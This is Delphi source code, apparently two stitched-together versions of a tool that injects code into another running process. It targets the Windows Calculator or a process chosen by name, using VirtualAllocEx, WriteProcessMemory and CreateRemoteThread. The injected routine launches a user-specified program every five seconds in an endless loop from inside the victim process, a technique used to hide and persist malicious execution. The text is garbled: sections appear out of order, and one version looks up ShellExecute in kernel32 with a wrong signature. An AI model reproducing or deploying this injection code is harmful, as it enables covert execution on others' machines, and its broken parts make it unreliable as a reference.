type
         TMass = record
                LoadLibrary: function(lpLibFileName: PChar): HMODULE; stdcall;
                GetProcAddress: function(hModule: HMODULE; lpProcName: LPCSTR): FARPROC; stdcall;
                ShellExecute: function(lpParameters: LPCTSTR; nShowCmd: UINT): UINT; stdcall;
                Sleep: procedure(uExitCode: UINT); stdcall;
                Kernel32: array[0..$FF] of Char;
                ShellExecuteName: array[0..$FF] of Char;
                SleepName: array[0..$FF] of Char;
                MyName: array[0..$FF] of Char;
                end;
procedure MyFunc(Mass: Pointer); stdcall;
         begin
         with TMass(Mass^) do
                begin
                  @ShellExecute:=GetProcAddress(LoadLibrary(Kernel32), ShellExecuteName);
                  @Sleep:=GetProcAddress(LoadLibrary(Kernel32), SleepName);
                  while true do
                    begin
                    ShellExecute(MyName, 5);
                    Sleep(5000);
                    end;
                end;
         end;

procedure TForm1.Button1Click(Sender: TObject);
procedure Test;
begin
end;

var
         Mass: TMass;
         pid: DWORD;
         hprocess: DWORD;
         pparam, pfunc: Pointer;
         hthread: DWORD;
         v: DWORD;
         s: PAnsiChar;
begin
         s:=PChar(Edit1.Text);
         lstrcpy(Mass.Kernel32, 'kernel32.dll');
         lstrcpy(Mass.ShellExecuteName, 'ShellExecute');
         lstrcpy(Mass.SleepName, 'Sleep');
         lstrcpy(Mass.MyName, s);
         @Mass.LoadLibrary    := GetProcAddress(GetModuleHandle('kernel32.dll'), 'LoadLibraryA');
         @Mass.GetProcAddress := GetProcAddress(GetModuleHandle('kernel32.dll'), 'GetProcAddress');

         GetWindowThreadProcessId(FindWindow(nil, PChar('Калькулятор')), PID);

         hprocess := OpenProcess(PROCESS_ALL_ACCESS, False, pid);

         pparam := VirtualAllocEx(hprocess, nil, SizeOf(TMass), MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE);
         WriteProcessMemory(hprocess, pparam, @Mass, SizeOf(TMass), v);

         pfunc := VirtualAllocEx(hprocess, nil, DWORD(@Test) - DWORD(@MyFunc), MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
         WriteProcessMemory(hprocess, pfunc, @MyFunc, DWORD(@Test) - DWORD(@MyFunc), v);

         hthread := CreateRemoteThread(hprocess, nil, 0, pfunc, pparam, 0, v);

         CloseHandle(hprocess);
         end;

uses
   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
   Dialogs, StdCtrls, TlHelp32;

var
      Form1: TForm1;
      hSnapshoot: THandle;
      pe32: TProcessEntry32;
implementation

{$R *.dfm}

function GetProcessByEXE(exename: string): THandle;
begin
      Result:= 0;
      hSnapshoot:= CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
      if (hSnapshoot = 0) then Exit;
      pe32.dwSize:= SizeOf(TProcessEntry32);
      if (Process32First(hSnapshoot, pe32)) then
        repeat
          if (pe32.szExeFile = exename) then
          begin
            Result:= pe32.th32ProcessID;
            exit;
          end;
        until not Process32Next(hSnapshoot, pe32);
end;

type
     TMass = record
            LoadLibrary: function(lpLibFileName: PChar): HMODULE; stdcall;
            GetProcAddress: function(hModule: HMODULE; lpProcName: LPCSTR): FARPROC; stdcall;
            WinExec: function(lpCmdLine: LPCSTR; uCmdShow: UINT): UINT; stdcall;       
            Sleep: procedure(uExitCode: UINT); stdcall;
            Kernel32: array[0..$FF] of Char;
            WinExecName: array[0..$FF] of Char;
            SleepName: array[0..$FF] of Char;       
            MyName: array[0..$FF] of Char;
            end;
procedure MyFunc(Mass: Pointer); stdcall;
     begin
     with TMass(Mass^) do
            begin
              @WinExec:=GetProcAddress(LoadLibrary(Kernel32), WinExecName);
              @Sleep:=GetProcAddress(LoadLibrary(Kernel32), SleepName);       
              while true do
                begin       
                WinExec(MyName, 5);
                Sleep(5000);
                end;
            end;       
     end;

procedure TForm1.Button1Click(Sender: TObject);
procedure Test;
begin
end;

var
     Mass: TMass;
     hprocess: DWORD;
     pparam, pfunc: Pointer;
     hthread: DWORD;
     v: DWORD;
     d, s: PAnsiChar;
begin
if GetProcessByEXE(Edit2.Text) <> 0 then
     begin
     Label3.Caption:='ID: '+ IntToStr(pe32.th32ProcessID);
     d:=PChar(Edit3.Text);
     s:=PChar(Edit1.Text);
     lstrcpy(Mass.Kernel32, 'kernel32.dll');
     lstrcpy(Mass.WinExecName, 'WinExec');
     lstrcpy(Mass.SleepName, 'Sleep');
     lstrcpy(Mass.MyName, PChar(''+ d+ s));
     @Mass.LoadLibrary    := GetProcAddress(GetModuleHandle('kernel32.dll'), 'LoadLibraryA');
     @Mass.GetProcAddress := GetProcAddress(GetModuleHandle('kernel32.dll'), 'GetProcAddress');

     hprocess := OpenProcess(PROCESS_ALL_ACCESS, False, pe32.th32ProcessID);

     pparam := VirtualAllocEx(hprocess, nil, SizeOf(TMass), MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE);
     WriteProcessMemory(hprocess, pparam, @Mass, SizeOf(TMass), v);

     pfunc := VirtualAllocEx(hprocess, nil, DWORD(@Test) - DWORD(@MyFunc), MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
     WriteProcessMemory(hprocess, pfunc, @MyFunc, DWORD(@Test) - DWORD(@MyFunc), v);

     hthread := CreateRemoteThread(hprocess, nil, 0, pfunc, pparam, 0, v);

     CloseHandle(hprocess);
     end;
if GetProcessByEXE(Edit2.Text) = 0 then
     begin
      showmessage('Процесс не найден...')
     end;
end;

procedure TForm1.Edit3MouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
begin
Edit3.Clear;
end;

procedure TForm1.Edit1MouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
begin
Edit1.Clear;
end;

end.